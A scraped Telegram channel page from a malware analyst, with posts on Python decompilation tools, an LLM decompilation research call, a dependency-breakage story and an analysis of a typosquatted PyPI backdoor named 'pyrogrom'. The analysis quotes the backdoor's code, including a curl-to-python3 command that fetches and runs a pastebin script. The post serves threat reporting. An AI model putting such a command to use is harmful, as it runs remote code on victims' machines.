disasm.me channel
2.2K subscribers
334 photos
3 videos
10 files
213 links
Канал вирусного аналитика, занимающегося безопасностью опенсорса и технологиями искусственного интеллекта. Плюс заметки по аспирантуре :)

Автор: @hexadec1mal

В чате сидит Guard-бот, будьте внимательнее.
Download Telegram
Forwarded from ESCalator
Инструменты для работы с Python 😦

Злоумышленники не стесняются использовать Python для своих целей. LazyStealer, упакованная PyInstaller, Python-бэкдор в ShadowPad и модули для Pupy RAT тому доказательство. Кроме того, задачи на снятие пакеров с дальнейшим исследованием встречаются на соревнованиях capture the flag.

Команда Supply Chain Security собрала памятку по работе с инструментами PyInstaller, py2exe и со скомпилированными файлами .pyc.

PyInstaller

Один из самых популярных инструментов для упаковывания проекта в исполняемый файл под Windows, Linux, macOS. Библиотеки, относящиеся к проекту, дополнительно сериализуются с помощью стандартной библиотеки marshal в PYZ-файл.

Для работы с PyInataller можно использовать один из первых проектов — pyinstxtractor. Marshal не реализует обратную совместимость между своими версиями, поэтому для распаковки PYZ-файла pyinstxtractor требует запуска на той версии Python, которой был упакован PyInstaller.

Решает этот нюанс pyinstxtractor-ng: он использует библиотеку xdis, реализующую (де)сериализатор под Python 2.4–3.13, в силу чего для полной распаковки больше не требуется конкретная версия Python. Автор pyinstxtractor-ng выпустил веб-версию, переписанную на Go, она работает локально в браузере. Оба проекта активно обновляются и разбирают последние версии PyInstalller.

py2exe

Решение, нацеленное на упаковку проекта в исполняемый файл под Windows. Чуть-чуть не успевает за тенденциями и пока не умеет работать с Python 3.12 и 3.13. «Убийцей» пакера должен был стать unpy2exe, но последний коммит в master семь лет назад оставляет чувство печали. Автор этого решения так же, как и автор решения pyinstxtractor, предупреждает, что версии (хотя бы major) установленного Python и конечной нагрузки должны совпадать.

Файлы .pyc

На уровне Python используются для ускорения запуска кода и оптимизации импорта модулей. Для превращения обратно в исходный код есть несколько проектов, и если такое возможно, стоит сравнивать полученный декомпилированный код из одного проекта с декомпилированным кодом из другого.

1️⃣ Uncompyle6 и decompyle3 — две утилиты от автора вышеупомянутого xdis. Uncompyle6 покрывает версии Python до 3.8, decompyle3 — c 3.7 до, частично, 3.9. Автор просит помочь с проектом.

2️⃣ Семейство unpyc (unpyc3, unpyc37, unpyc37-3.10) — поддерживает точечно версии 3.3, 3.7, 3.10.

3️⃣ Pycdc — многообещающий декомпилятор, написанный на C++, также регулярно обновляется и старается поддерживать все версии байт-кода Python. Порой имеет сложности с разбором конструкций, поэтому...

4️⃣ Pycdas — дизассемблер из проекта pycdc, помогает попробовать разобрать файл с расширением .pyc, когда декомпиляторы уже бессильны 🐱🐱🐱

Существующие онлайн-проекты для файлов .pyc (осторожно, отправляют файлы на сервер):

Decompiler.com — мультифункциональный, «под капотом» uncompyle6.

PyLingual.io — многообещающее решение, находящееся в бете. Файлы версий 3.11, 3.12, 3.13 открывает без проблем.

Happy hacking!

#ti #python #tools #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11
Research suggestion: llm4pyc

Люди, сталкивающиеся с pyc-файлами для Python, знают, что начиная с 3.9 появляются значительные трудности с декомпиляцией. Об инструментах, частично помогающих в этом вопросе, мы писали в ESCalator.

Недавно в тематических каналах натолкнулся на LLM4Decompile, проект, который проверяет гипотезу восстановления исходников из ассемблера, с главной целью получить запускаемый исходный код.

Байт-код виртуальной машины CPython в целом проще, чем x86/x86-64. У CPython главная проблема заключается в значительных изменениях байт-кода между версиями. Данную проблему подсвечивает rocky, создатель декомпиляторов uncompyle6 и decompyle3 и серии других тулзов для Python.

К слову, ChatGPT, Claude, DeepSeek худо-бедно справляются с этой историей, но всё равно неидеально.

Предлагаю желающим сколлабиться в рамках реализации схожего с LLM4Decompile ресёрча, но уже в отношении pyc-файлов. Сам ресёрч выглядит достаточно линейным, но его научную новизну легко обосновать.

Предлагаю выпустить по этой теме 1-2 статьи Crossref/ВАК. Также для тех, кто возьмет эту тему в качестве курсовой или диплома, готов дополнительно помочь с сопровождением, включая поиск источников, наполнение и ревью.

Ищу пару человек. Критерий: вы сталкивались с pyc-файлами и вполне уверенно пишете на Python.

Для связи: @hexadec1mal

#ресерч #python #llm4pyc
@disasm_me_ch
🔥5
Снова про транзитивные зависимости. В этот раз без троянов 😇

Сегодня, собирая проект на litestar, столкнулся с тем, что отсутствует зависимость sniffio — небольшая библиотека, которая определяет, в каком асинхронном окружении (asyncio, trio, curio, ...) запущен код.

ASGI-фреймворк litestar, хоть и не указывал sniffio как зависимость, всё равно её импортировал и использовал, ведь она является зависимостью у anyio, прямой зависимости для litestar.

Что может пойти не так?

Вчера (29 ноября) библиотека anyio в версии 4.12 убрала sniffio из зависимостей. Из занятного — у них есть деплой через GitHub, и у них упали часть тестов на 4.12, что не помешало им задеплоиться (ситуация на скриншоте ниже).

При этом в прошлом релизе от 25 сентября все тесты прошли нормально, то есть мейнтейнеры anyio решили забить, что теперь часть зависящих проектов валятся с ошибкой. Сильная аура, мне б такую 💪

Всё это привело к тому, что проекты на litestar перестали собираться 🤪

Мораль сего, казалось бы очевидного, сюра, такова:
🟢Фиксируйте в проектах все зависимости, которые намереваетесь использовать. Не используйте явным образом транзитивные зависимости.

Даже большие проекты тут ошибаются.

Если можете позволить себе такую роскошь, как фриз всех зависимостей проекта — лучше делайте)

#pypi #python
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
😁544👾1
Рубрику "Необычные трояны" в этом году открывает разработчик Jshwheheh 😈, заливший вчера на PyPI пакет pyrogrom (тайпсквоттинг клиента для Телеграма pyrogram).

Разработчик достаточно интересно подписывает авторство (рис. 1).

Библиотека является навайбкоженной — она изобилирует соответствующими комментариями:
# This code will execute once the library is imported.
...

# Check ID before anything else
if ID != [REDACTED]:
return # Do nothing if ID is incorrect

...

# Function to check the ID in each message
def check_id(message):
return message.from_user.id == [REDACTED]

@bot.message_handler(func=lambda message: check_id(message), commands=['start'])
def start_command(message):
# Execute the SSH command (for confirmation or if the user wants to restart)
command = "curl -s https://pastebin.com/raw/[REDACTED] | python3 > /dev/null 2>&1 &"
result = subprocess.run(command, shell=True, capture_output=True, text=True)

# Send the message
...


Вот только комментарии оказались на арабском (рис. 2), что пополняет копилку языков, на которых вайбкодят трояны.

У библиотеки базовый функционал бэкдора:
— исполнение системных команд;
— операции над файлами и папками, включая листинг ваших директорий и отправку содержимого автору бота;
— небольшой сбор geoip.

Немного не понимаю, в какой части мультивселенной я оказался, но в коде, скачиваемом с pastebin, есть админский функционал отобразить время для молебен в зависимости от выбранного города 😎

#malware #pypi #python #ti #scs #llm
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
12